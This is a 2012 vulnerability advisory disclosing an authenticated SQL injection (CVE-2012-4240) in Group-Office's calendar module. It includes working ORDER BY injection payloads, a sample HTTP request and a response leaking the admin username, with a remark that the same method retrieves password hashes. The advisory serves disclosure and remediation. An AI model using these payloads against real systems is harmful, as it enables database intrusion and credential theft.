/-------------------------------------\ | Group-Office Calendar SQL Injection | \-------------------------------------/ Summary ======= Versions of Group-Office (a web app for online collaboration) prior to 4.0.90 are subject to a SQL injection vulnerability located in the calendar module. A PHP file, used to serve data in the JSON format, does not sufficiently sanitise a user-supplied parameter injected into the ORDER BY part of an SQL query. An attacker can leverage this flaw to extract information from the database via SQL errors. CVE number: CVE-2012-4240 Impact: High Vendor homepage: http://www.group-office.com/ Vendor notified: 19/07/2012 Credit: Chris Cooper and Joseph Sheridan Homepage: http://www.reactionpenetrationtesting.co.uk/ This advisory is posted at: http://www.reactionpenetrationtesting.co.uk/group-office-sqli.html Affected Products ======== ======== Confirmed in Group-Office community 4.0.71, 4.0.73 and 4.0.88. Other versions may also be affected. Details ======= A 'sort' parameter on the page /modules/calendar/json.php was found to be subject to a SQL injection vulnerability. It was possible to inject arbitrary SQL statements into an ORDER BY clause, retrieving information from the database via an error message. The attacker must be authenticated as a valid user in order for the attack to be successful. Injecting the following SQL code into the 'sort' parameter will trigger the vulnerability, retrieving the first user's username. Changing 'username' to 'password' retrieves their hashed password. For version 4.0.71: ExtractValue(1,CONCAT(0x5c,(SELECT username FROM go_users LIMIT 1))) Or for versions 4.0.73 and 4.0.88: id`,ExtractValue(1,CONCAT(0x5c,(SELECT username FROM go_users LIMIT 1)))# --- Example Request (version 4.0.71): +-------------------------------- POST /groupoffice/modules/calendar/json.php HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Length: 162 Cookie: groupoffice=tgocfuhoh7lrqo0mckfef4us04; GO_LANGUAGE=en_UK sort=ExtractValue(1,CONCAT(0x5c,(SELECT%20username%20FROM%20go_users%20LIMIT %201)))&dir=ASC&task=writable_views&limit=20&security_token=pfi5lckw3r9qm64n adgb --- Example Response (version 4.0.71): +--------------------------------- HTTP/1.1 200 OK Date: Fri, 20 Jul 2012 14:16:09 GMT Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 397 Content-Type: text/html; charset=UTF-8 {"feedback":"<b>Database error:<\/b> Invalid SQL: SELECT SQL_CALC_FOUND_ROWS v.* FROM cal_views v INNER JOIN go_acl a ON (v.acl_id = a.acl_id AND a.level>10 AND (a.user_id=1 OR a.group_id IN (1,2,3))) GROUP BY v.id ORDER BY ExtractValue(1,CONCAT(0x5c,(SELECT username FROM go_users LIMIT 1))) ASC LIMIT 0,20<br>\n<b>MySQL Error<\/b>: 1105 (XPATH syntax error: '\\admin')<br>\n","success":false} Impact ====== An authenticated attacker might be able to take control of the database within the context of the MySQL user, and potentially use this as leverage to further compromise the host machine. Solution ======== Upgrade to Group-Office community 4.0.90. Distribution ============ In addition to posting on the website, a text version of this notice has been posted to the following e-mail and Usenet news recipients. * bugtraq () securityfocus com * full-disclosure () lists grok org uk Future updates of this advisory, if any, will be placed on the ReactionIS corporate website, but may or may not be actively announced on mailing lists or newsgroups. Users concerned about this problem are encouraged to check the URL below for any updates: http://www.reactionpenetrationtesting.co.uk/group-office-sqli.html ============================================================================ == Reaction Information Security Lombard House Business Centre, Suite 117, 12-17 Upper Bridge Street, Canterbury, Kent, CT1 2NF Phone: +44 (0)1227 785050 Email: research () reactionis {dot} co {dot} uk Web: http://www.reactionpenetrationtesting.co.uk